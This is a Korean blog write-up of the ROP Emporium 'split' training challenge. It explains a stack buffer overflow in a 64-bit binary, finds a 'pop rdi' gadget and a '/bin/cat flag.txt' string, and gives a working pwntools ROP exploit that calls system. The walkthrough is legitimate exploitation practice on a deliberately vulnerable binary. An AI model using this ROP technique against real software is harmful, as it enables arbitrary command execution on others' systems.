[RopEmporium] split
System/PWNABLE

[RopEmporium] split

728x90

check

- 64bit

- NX

Analyze

pseduo code (IDA)

main() - ret2win과 거의 같음

- 0x20 byte인 스택버퍼 s에 read함수를 통해 0x60byte만큼 입력받는 부분에서 버퍼오버플로우 취약점이 발생한다.

>> 이 때 함수 리스트에 보이는 'usefulFunction'으로 리턴하면 될 것 같다.

usefulFunciton()

- 하지만, 이번에는 system("/bin/ls");로, 우리가 필요한 것은 "/bin/cat flag.txt"이다. 

IDA에서 [Shift]+[F12]를 누르면 아래와 같이 바이너리 내에 저장되어 있는 문자열들의 리스트를 보여준다.

- "/bin/cat flag.txt"(usefulString)가 있다. usefulFunction에서 system함수의 인자로 호출되는 0x40084a: /bin/ls덮어써야 할 것 같다. 

>> system 함수를 호출하는 코드 호출하고, 그에 대한 인자값으로 "/bin/cat flag.txt"의 주소값을 넣는다.

debugging

system함수를 호출하는 코드: 0x40074b

바이너리의 코드 영역에 존재한다.

※ ASLR이 걸려있더라도, 바이너리의 데이터 영역과 코드 영역은 ASLR이 걸리지 않는 영역으로 다시 말해 '고정주소'에 해당한다.

 

gadget

* 64bit Calling Convention

argv[0] argv[1] argv[2] argv[3] argv[4] argv[5] argv[6]
syscall(system) %rdi %rsi %rdx %rcx %r8 %r9

>> pop rdi 가젯을 찾아 system함수의 인자를 호출할 수 있게 한다.pop rdi ; ret ; = 0x4007c3

Exploit

payload: BUF[0x20]+SFP[8]  + POP(pop rdi 가젯) + 0x601060 ("/bin/cat flag.txt") + 0x40074b (call system)

from pwn import *

p = process("./split")
elf = ELF("./split")

#usefulFunction = elf.symbols['usefulFunction']
usefulString = 0x601060

prdi = 0x4007c3

pl = "A"*(0x20 + 8)
pl += p64(prdi)
pl += p64(usefulString)
pl += p64(0x40074b)


p.sendlineafter("> ", pl)
p.sendline()
p.interactive()

너무 어렵게 생각할 필요가 없었던 문제였다..

정말 문제의 이름대로 코드를 잘라서 ROP chain을 만들면 되는 문제다!

SMALL

'System > PWNABLE' 카테고리의 다른 글

[ROP Emporium] callme  (0) 2021.04.02
[ROP Emporium] split32  (0) 2021.03.26
[ROP Emporium] ret2win  (0) 2021.03.18
[HackCTF] Pwning (재)  (0) 2021.03.08
[HackCTF] Gift  (0) 2021.03.06